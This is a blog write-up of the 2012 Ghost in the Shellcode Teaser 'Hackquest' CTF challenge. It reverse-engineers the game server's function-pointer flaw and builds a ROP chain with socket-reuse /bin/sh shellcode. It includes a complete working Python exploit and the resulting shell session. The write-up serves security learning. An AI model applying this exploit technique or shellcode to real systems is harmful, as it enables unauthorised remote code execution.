Sunday, January 08, 2012

Ghost in the Shellcode 2012 Teaser - Hackquest

Again this year was ShmooCon's Ghost in the Shellcode warm-up round or Teaser (@ShellGhostCode). Congrats to Eindbazen for winning!

There was three challenges: crypto (Tel Aviv), crackme (AL's revenge) and exploitation (Hackquest). You will notice strong references to Hackers (1995) movie. Write-ups can be found on FixMe wiki, Leet More blog or Eindbazen blog.

Hackquest

Summary: given the file and an IP:port running it, find the key.

Connecting to the service reveals a adventure game:
$ nc hackquest.ghostintheshellcode.com 7331
The 1337 Adventures of an Unknown Hacker

What is your name? Case
Welcome, Case, to your adventure.

[...]
(read full story)

The file appears to be a Linux 32bit binary:
$ file *
9692febb68918a3c5127c56a5320439d.bin: ELF 32-bit LSB executable, Intel 80386,
version 1 (SYSV), dynamically linked (uses shared libs),
for GNU/Linux 2.6.15, stripped

Find the vulnerability, get EIP

Reverse-engineer the binary, name the different game functions, take time to create the appropriate data structures to see what is going on, then you start understanding how it works. Basically you have structures for objects and places. Using an object of a certain type executes the function pointer in the data structure. Interesting:
  if ( object->type && object->type != 2 && object->type != 3 )
  {
    if ( strcasecmp((const char *)&object->to_obtain->article, target) )
    {
      do_send(fd, "Your target is invalid for that item.\n");
      valid = 0;
    }
    else
    {
      do_send(fd, object->result);
      ((void (__cdecl *)(int))object->to_go->name)(fd);
      res = LOBYTE(object->to_go->next);
    }
  }
The strcasecmp looks strange: it does not look at the string but its address casted as a string.

Let's verify this behaviour. First, we need to reach that particular code with the following game sequence:
get can
use can
go south
get letter
use letter on xxx

The object being used in the previous code is the letter:
.data:0804C1C4 letter dd offset aA          ; "a"
.data:0804C1C8        dd offset aLetterAddr ; "letter addressed to %s"
.data:0804C1CC        dd offset aIDonTKnowH ; "I don't know how else to reach..."
.data:0804C1D0        dd 0
.data:0804C1D4        dd 4
.data:0804C1D8        dd offset name        ; "to_go" field
.data:0804C1D8                              ;  points to player name
.data:0804C1DC        dd offset password    ; "to_obtain" field
.data:0804C1DC                              ; points to password object

Now we can run the binary with a library call tracer such as ltrace (with -f to trace child):
$ ltrace -f ./bin
[...] then connect and reach the code with the game sequence
[pid 19160] strcasecmp(".\242\004\b\274\242\004\b\336\242\004\b\014\302
  \004\b\002", "xxx") = -74
Interesting, this is constant! It actually corresponds to the data structure at the address of the password object you normally get after reading the letter:
.data:0804C188 password dd offset aA          ; "a"
.data:0804C188                                ; dd 804A22Eh
.data:0804C18C          dd offset aPasswordTo ; "password to your friend's..."
.data:0804C18C                                ; dd 804A2BCh
.data:0804C190          dd offset aThePasswor ; "The password was accepted.."
.data:0804C190                                ; dd 804A2DEh
.data:0804C194          dd offset bedroomcomp ; dd 804C20Ch
.data:0804C198          dd 2
So we can forge the target to this particular value and reach the "else" block which calls... the player name, which is user controlled data. We have EIP! The four first bytes of our user name are read and called. But where should we go to?

From EIP to code execution: first attempt

In the "get" game function, the game adds the object to the player's inventory. I called this add_to_inventory (0x080490B0):
int __cdecl add_to_inventory(object_t *item)
{
  inventory = (object_t *)realloc(inventory, 28 * (inventory_size + 1));
  memcpy(&inventory[inventory_size], item, 28u);
  if ( item->type == 4 )
  {
    inventory[inventory_size].description = (char *)mmap(0, 4096u, 3, 34, -1, 0);
    snprintf(inventory[inventory_size].description, 4095u, item->description, item->to_go);
  }
  return inventory_size++ + 1;
}
For an object of type 4 (such as the letter), it formats the description ("letter addressed to %s") with what I named the to_go field (corresponds to the player name) and copies that into an mmap with perms 3, which means +rw PROT_READ(0x1)|PROT_WRITE(0x2). If it had +x, we could have imagined using it (though we would have also needed a way to leak the mmap address). So we must find something else.

Shift the stack pointer

Going back to EIP, if we give a big enough command-line, this goes to a stack buffer and we notice that from a certain point it is there. Using Metasploit's pattern_create/pattern_offset technique we precisely determine the minimum number of bytes we have to skip. Then we find an appropriate gadget (I like ropeme for that): there is a nice add esp 0x9c; ret at 0x8049019. So the idea is to go to this gadget then it is like a regular stack buffer overflow since we control enough of the rest of the stack.

So let's do it like last year's Ghost in the Shellcode in three steps:
  • ret to mmap @ PLT to have an rwx area
  • ret to recv @ PLT to receive a shellcode
  • ret to the area and execute the shellcode!
As for the shellcode, just use a regular /bin/sh but prepend it with a socket reuse. Socket file descriptor should be 4 (0/1/2 standard, 3 server socket and 4 client socket).

Exploit

#!/usr/bin/python
import sys, socket, select
from struct import pack, unpack

HOST = "hackquest.ghostintheshellcode.com"
PORT = 7331
DEBUG = False

read_plt = 0x08048784
mmap_plt = 0x080486D4
shift_esp = 0x8049019 # add esp 0x9c
pop_7 = 0x8048f61 # add esp 0x1c
pop_3 = 0x8049ce6 # pop esi ; pop edi ; pop ebp
area = 0x13370000
size = 0x1000
fd = 4 # socket fd

# shellcode -- socket reuse + /bin/sh
SC  = "\x31\xc9\x31\xdb\xb3" + chr(fd) + "\x6a\x3f\x58\xcd\x80\x41\x80\xf9\x03\x75\xf5"
SC += "\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80"

# match "use" strcasecmp
target  = pack("<I", 0x804A22E) + pack("<I", 0x804A2BC)
target += pack("<I", 0x804A2DE) + pack("<I", 0x804C20C) + chr(2)

def connect():
  s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  s.connect((HOST,PORT))
  return s

def send(s, m):
  if DEBUG: print "S: %s" % repr(m)
  return s.send(m)

def recv(s, size=4096, timeout=0.5):
  data = ""
  while True:
    r,w,e = select.select([s], [], [], timeout)
    if r:
      d = s.recv(size)
      if DEBUG: print "R: %s" % repr(d)
      data += d
    else:
      return data

def cmd(s, cmd):
  send(s, cmd+"\n")
  return recv(s)

def interact(s):
  while True:
    try:
      sys.stdout.write("$ ")
      c = sys.stdin.readline().strip()
      if len(c):
        send(s, c + "\n")
        sys.stdout.write(recv(s))
    except KeyboardInterrupt, e:
      print "^C exiting..."
      break

def main():
  name = pack("<I", shift_esp)
  
  rop  = pack("<I", mmap_plt)
  rop += pack("<I", pop_7)
  rop += pack("<I", area) # void *addr
  rop += pack("<I", size) # size_t length
  rop += pack("<I", 0x7) # int prot - PROT_READ(0x1) | PROT_WRITE(0x2) | PROT_EXEC(0x4)
  rop += pack("<I", 0x22) # int flags - MAP_ANONYMOUS(0x20) | MAP_PRIVATE(0x02)
  rop += pack("<I", 0xffffffff) # int fd - MAP_ANONYMOUS => -1
  rop += pack("<I", 0) # off_t offset
  rop += pack("<I", 0)*(7-6) # unused
  
  rop += pack("<I", read_plt)
  rop += pack("<I", pop_3)
  rop += pack("<I", fd) # int fd
  rop += pack("<I", area) # void *buf
  rop += pack("<I", len(SC)) # size_t nbytes
  
  rop += pack("<I", area)
  
  s = connect()
  recv(s)
  cmd(s, name)
  cmd(s, "get c")
  cmd(s, "use c")
  cmd(s, "go s")
  cmd(s, "get l")
  cmd(s, "use l on " + target + "\x00" + "A"*41 + rop)
  send(s, SC)
  if cmd(s, "id").startswith("uid="):
    print "[+] Success!"
    interact(s)
  else:
    print "[-] Failed :("

if __name__ == "__main__":
  main()
Link: hackquest.py

Hacking the Gibson:
$ python hackquest.py
[+] Success!
$ id
uid=1001(hackquest) gid=1001(hackquest)
$ ls
hackquest key.txt
$ cat key.txt
Real hacks pwn Hollywood hacks.

Thanks to clem1 (@_clem1) for his help on this challenge.

2 comments:

  1. Stalkr et clem1 quel duo de choc :)

    Santé Bonheur les gars :-D

    ReplyDelete
  2. Hehe, a toi aussi dude. :)

    ReplyDelete